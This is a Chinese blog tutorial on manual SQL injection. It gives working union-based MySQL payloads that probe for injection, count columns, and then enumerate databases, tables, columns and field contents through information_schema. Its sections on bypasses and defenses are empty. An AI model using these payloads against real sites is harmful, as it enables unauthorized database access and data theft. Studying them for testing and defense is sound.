1. 程式人生 > >SQL注入使用詳細總結(由淺及深,持續更新中)

SQL注入使用詳細總結(由淺及深,持續更新中)

版權宣告:本文為博主原創文章,歡迎轉載,請註明出處: https://me.csdn.net/qq_41880069

SQL注入使用總結

一:SQL注入的原理

1:什麼是SQL

SQL,指結構化查詢語言,作用:訪問和處理資料庫 也就是說SQL語言的所有操作都是作用於資料庫的,那我們的SQL注入的目的就顯而易見了,即進入後臺資料庫,對後臺資料庫進行檢視甚至是修改

2:SQL注入的原理

SQL命令插入到 Web表單遞交 輸入域名 頁面請求 的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。

3:SQL注入分類

  • 根據字元型別分類:①整型注入②字元型注入③寬位元組注入
  • 注入方法分類:①報錯注入②延時注入③布林型盲注④聯合查詢注入⑤多語句執行注入

光看理論有些抽象,明白就可,具體看下面注入操作

二:手工注入

1:判斷是否存在注入(三步走)

判斷是否存在注入,關鍵看是否出現頁面報錯資訊,如若報錯證明其執行了你填寫的SQL語句,此時便可以進入下一步

  • 給引數賦值單引號,檢視頁面變化
  • 給引數賦值為and 1=1或or1=1,檢視頁面變化
  • 給引數賦值為and 1=2或or1=2,檢視頁面變化 如若頁面出現變化,說明該Web頁面存在SQL注入,若沒有出現變化,可能沒有SQL注入,也可能有但需要特殊的方法繞過 例:在這裡插入圖片描述

在這裡插入圖片描述 在這裡插入圖片描述

2:判斷欄位長度

通過使用order by語句來判斷後臺所查詢欄位的數目

  • 給引數賦值 order by (num),num為測試的數:1,2,3,… 當頁面出錯時,正確顯示頁面的最後一個num便為後臺所查詢欄位的數目總數 例: 在這裡插入圖片描述
    在這裡插入圖片描述

3:判斷顯示欄位的位置

通過聯合查詢(union select 欄位數)檢視可顯示欄位,此操作的目的通過檢視顯示位為下一步暴庫(顯示資料庫內資訊)做準備 例: 在這裡插入圖片描述 圖中payload構造時在union select前加了and1=2,目的是直接顯示聯合查詢的結果,遮蔽其他資訊,不遮蔽也是可以的,不過聯合查詢的資訊會在頁面顯示的其他資訊之後

4:暴庫——顯示資料庫內的內容和資訊

通過聯合查詢用上一步已知的顯示位檢視我們想要知道的資訊,例如:使用者名稱,資料庫名,版本資訊等 例: payload的如下

http://192.168.(省略)?title=%27and%201=2%20union%20select%201,user(),database(),version(),5,6,7%23

在這裡插入圖片描述 顯示位顯示了payload對應的內容 接下來我們可以使用如下的payload檢視所有資料庫的名稱 注:MySQL 5.0之後有增加了系統表information_schema,可從其中查詢所需資訊


http://192.168.(省略)?title=%27and 1=2 union select 1,2,SCHEMA_NAME,4,5,6,7 from information_schema.SCHEMATA limit 0,4%23

例: 在這裡插入圖片描述 limit後面的兩個數字,第一個為從第幾個資料庫開始顯示,第二個數字為一次性顯示幾個,這裡注意資料庫的其實編號是從0開始的

5:爆表——檢視資料庫內的資料表資訊

使用如下的payload可以顯示當前資料庫內的資料表資訊了


http://192.168.(省略)?title=%27and 1=2 union select 1,2,TABLE_NAME,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=database()%23

例: 在這裡插入圖片描述

6:爆欄位——查看錶中的內容

使用如下的payload檢視資料表中的內容

  • payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= ‘已經查出的表名’
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME= '已經查出的表名'

最後的 ‘已查到的表名’‘’ 不可省略

  • payload: ’ and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16進位制的表名
http://192.168.(省略)?title=' and 1=2 Union select 1,2,COLUMN_NAME,4,5,6,7 from information_schema.COLUMNS where TABLE_NAME=16進位制的表名

此時已查出的表名 不用加 ‘’ ,但是一定要用16進位制。例: users 要 改為 0x7573657273

  • 例: 在這裡插入圖片描述

7:爆欄位內容

使用如下payload:

'and 1=2 Union select 1,2,欄位名,4,5,6,7 from 表名 limit 0,1

可以檢視欄位內容 例: 在這裡插入圖片描述 喜歡記得點贊關注哦,持續更新中

三:SQLmap的使用

四:SQL注入繞過姿勢

五:防止SQL注入的方法

未完待續。。。。。。